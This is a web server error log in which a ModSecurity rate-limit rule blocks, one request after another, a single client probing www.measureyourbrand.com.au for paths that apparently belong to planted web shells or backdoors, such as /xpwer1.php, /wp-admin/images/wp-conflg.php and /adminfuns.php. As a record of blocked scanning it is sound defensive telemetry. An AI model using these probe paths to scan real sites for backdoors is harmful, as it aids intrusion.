[Sat Feb 28 01:48:39.983864 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:2442] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aaHY9wP6I7SRqrhh7RolXAAAAVI"]
[Sat Feb 28 01:48:40.500528 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:22196] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aaHY-EOEbzcINan_ctLNkAAAAEQ"]
[Sat Feb 28 01:48:41.017127 2026] [:error] [pid 15098:tid 15129] [client 20.100.197.204:2469] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aaHY-ckFqny8dQQbmTksBAAAAJc"]
[Sat Feb 28 01:48:41.533873 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:2463] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHY-b_i6nvKNhjFW7VZGwAAARg"]
[Sat Feb 28 01:48:42.049905 2026] [:error] [pid 15100:tid 15176] [client 20.100.197.204:22172] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHY-kOEbzcINan_ctLNmgAAAFA"]
[Sat Feb 28 01:48:42.567968 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:35936] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHY-r_i6nvKNhjFW7VZIAAAAQA"]
[Sat Feb 28 01:48:43.085550 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:24452] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHY-wP6I7SRqrhh7RolZgAAAUo"]
[Sat Feb 28 01:48:43.604597 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:25223] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHY-y1iKL_41Rk9A9OHbgAAAAo"]
[Sat Feb 28 01:48:44.124436 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:22157] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHY_AP6I7SRqrhh7RolawAAAU0"]
[Sat Feb 28 01:48:44.642340 2026] [:error] [pid 15100:tid 15179] [client 20.100.197.204:37817] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHY_EOEbzcINan_ctLNqwAAAFM"]
[Sat Feb 28 01:48:45.159736 2026] [:error] [pid 15100:tid 15176] [client 20.100.197.204:2473] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHY_UOEbzcINan_ctLNrQAAAFA"]
[Sat Feb 28 01:48:45.676443 2026] [:error] [pid 15098:tid 15116] [client 20.100.197.204:15751] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHY_ckFqny8dQQbmTksDAAAAIo"]
[Sat Feb 28 01:48:46.198967 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:25252] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHY_gP6I7SRqrhh7RoldgAAAU4"]
[Sat Feb 28 01:48:46.716353 2026] [:error] [pid 15100:tid 15182] [client 20.100.197.204:21443] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHY_kOEbzcINan_ctLNsgAAAFY"]
[Sat Feb 28 01:48:47.233517 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:37806] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aaHY_wP6I7SRqrhh7RolfQAAAVU"]
[Sat Feb 28 01:48:47.750171 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:24479] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHY_wP6I7SRqrhh7RolgQAAAUs"]
[Sat Feb 28 01:48:48.265923 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:15783] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHZAL_i6nvKNhjFW7VZMAAAAQo"]
[Sat Feb 28 01:48:48.783932 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:15780] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHZAL_i6nvKNhjFW7VZMgAAARA"]
[Sat Feb 28 01:48:49.300225 2026] [:error] [pid 38586:tid 38611] [client 20.100.197.204:2488] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaHZAb_i6nvKNhjFW7VZNgAAARY"]
[Sat Feb 28 01:48:49.821450 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:11048] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZAQP6I7SRqrhh7RoligAAAUo"]
[Sat Feb 28 01:48:50.340806 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:11058] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZAgP6I7SRqrhh7RoljgAAAUA"]
[Sat Feb 28 01:48:50.861956 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:37763] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZAgP6I7SRqrhh7RolkgAAAUw"]
[Sat Feb 28 01:48:51.380777 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:13271] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZAwP6I7SRqrhh7RollwAAAUo"]
[Sat Feb 28 01:48:51.897258 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:35934] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZAwP6I7SRqrhh7RolnAAAAVA"]
[Sat Feb 28 01:48:52.415586 2026] [:error] [pid 15098:tid 15125] [client 20.100.197.204:22148] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZBMkFqny8dQQbmTksEAAAAJM"]
[Sat Feb 28 01:48:52.932919 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:2480] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZBC1iKL_41Rk9A9OHcgAAAAk"]
[Sat Feb 28 01:48:53.451682 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:11009] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHZBS1iKL_41Rk9A9OHdAAAAA0"]
[Sat Feb 28 01:48:53.970110 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:25249] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaHZBQP6I7SRqrhh7RolowAAAUo"]
[Sat Feb 28 01:48:54.486910 2026] [:error] [pid 15100:tid 15168] [client 20.100.197.204:37782] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaHZBkOEbzcINan_ctLNvAAAAEg"]
[Sat Feb 28 01:48:55.003110 2026] [:error] [pid 15100:tid 15170] [client 20.100.197.204:13258] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaHZB0OEbzcINan_ctLNvgAAAEo"]
[Sat Feb 28 01:48:55.521713 2026] [:error] [pid 15240:tid 15257] [client 20.100.197.204:11069] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaHZBy1iKL_41Rk9A9OHfQAAAA8"]
[Sat Feb 28 01:48:56.038891 2026] [:error] [pid 15100:tid 15163] [client 20.100.197.204:11031] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHZCEOEbzcINan_ctLNwgAAAEM"]
[Sat Feb 28 01:48:56.556867 2026] [:error] [pid 15100:tid 15182] [client 20.100.197.204:24498] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHZCEOEbzcINan_ctLNxQAAAFY"]
[Sat Feb 28 01:48:57.075315 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:2453] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHZCQP6I7SRqrhh7RolqQAAAUc"]
[Sat Feb 28 01:48:57.592466 2026] [:error] [pid 38586:tid 38592] [client 20.100.197.204:24490] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aaHZCb_i6nvKNhjFW7VZRwAAAQM"]
[Sat Feb 28 01:48:58.110666 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:24449] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x/"] [unique_id "aaHZCgP6I7SRqrhh7RolrQAAAVM"]
[Sat Feb 28 01:48:58.627634 2026] [:error] [pid 38586:tid 38608] [client 20.100.197.204:33394] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x/"] [unique_id "aaHZCr_i6nvKNhjFW7VZTAAAARM"]
[Sat Feb 28 01:48:59.147193 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:2440] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x/"] [unique_id "aaHZCwP6I7SRqrhh7RoltQAAAUQ"]
[Sat Feb 28 01:48:59.666275 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:24472] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x/"] [unique_id "aaHZCwP6I7SRqrhh7RoluAAAAUU"]
[Sat Feb 28 01:49:00.189676 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:24462] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaHZDAP6I7SRqrhh7RolugAAAUw"]
[Sat Feb 28 01:49:00.707880 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:22154] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaHZDAP6I7SRqrhh7RolwAAAAVU"]
[Sat Feb 28 01:49:01.226930 2026] [:error] [pid 15240:tid 15249] [client 20.100.197.204:13252] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaHZDS1iKL_41Rk9A9OHhAAAAAc"]
[Sat Feb 28 01:49:01.745070 2026] [:error] [pid 15240:tid 15265] [client 20.100.197.204:24506] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaHZDS1iKL_41Rk9A9OHhwAAABc"]
[Sat Feb 28 01:49:02.262264 2026] [:error] [pid 38586:tid 38602] [client 20.100.197.204:37788] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aaHZDr_i6nvKNhjFW7VZUAAAAQ0"]
[Sat Feb 28 01:49:02.778857 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:35931] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aaHZDgP6I7SRqrhh7RolygAAAVM"]
[Sat Feb 28 01:49:03.295488 2026] [:error] [pid 15240:tid 15242] [client 20.100.197.204:35928] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aaHZDy1iKL_41Rk9A9OHiwAAAAA"]
[Sat Feb 28 01:49:03.813080 2026] [:error] [pid 15099:tid 15145] [client 20.100.197.204:35905] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aaHZD-nvP2vtPjYDq_g-cgAAAMw"]
[Sat Feb 28 01:49:04.330873 2026] [:error] [pid 15099:tid 15142] [client 20.100.197.204:2467] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHZEOnvP2vtPjYDq_g-dAAAAMk"]
[Sat Feb 28 01:49:04.851088 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:35932] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHZEAP6I7SRqrhh7RolzwAAAVQ"]
[Sat Feb 28 01:49:05.371412 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:11972] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHZEQP6I7SRqrhh7Rol0AAAAUU"]
[Sat Feb 28 01:49:05.889278 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:13286] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaHZEb_i6nvKNhjFW7VZVQAAARU"]
[Sat Feb 28 01:49:06.407045 2026] [:error] [pid 15098:tid 15123] [client 20.100.197.204:35952] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaHZEskFqny8dQQbmTksEwAAAJE"]
[Sat Feb 28 01:49:06.923937 2026] [:error] [pid 15098:tid 15121] [client 20.100.197.204:28965] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaHZEskFqny8dQQbmTksFAAAAI8"]
[Sat Feb 28 01:49:07.443931 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:22175] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaHZE7_i6nvKNhjFW7VZWAAAAQs"]
[Sat Feb 28 01:49:07.960145 2026] [:error] [pid 15099:tid 15147] [client 20.100.197.204:25217] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaHZE-nvP2vtPjYDq_g-fAAAAM4"]
